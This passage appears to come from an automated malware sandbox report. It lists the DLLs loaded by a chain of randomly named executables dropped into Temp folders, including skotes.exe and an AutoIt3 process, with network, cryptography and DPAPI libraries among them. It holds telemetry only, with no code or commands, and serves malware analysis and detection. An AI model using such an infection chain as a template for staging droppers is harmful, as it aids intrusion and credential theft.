Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: wsock32.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: winmm.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: mpr.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: sxs.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: msisip.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: wshext.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: appxsip.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: opcservices.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: secur32.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: amsi.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: gpapi.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: kdscli.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: ntasn1.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: ncrypt.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: ntasn1.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: msisip.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: wshext.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: appxsip.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: opcservices.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: msisip.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: wshext.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: appxsip.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: libffi-7.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: libcrypto-1_1.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: libssl-1_1.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: srvcli.dll
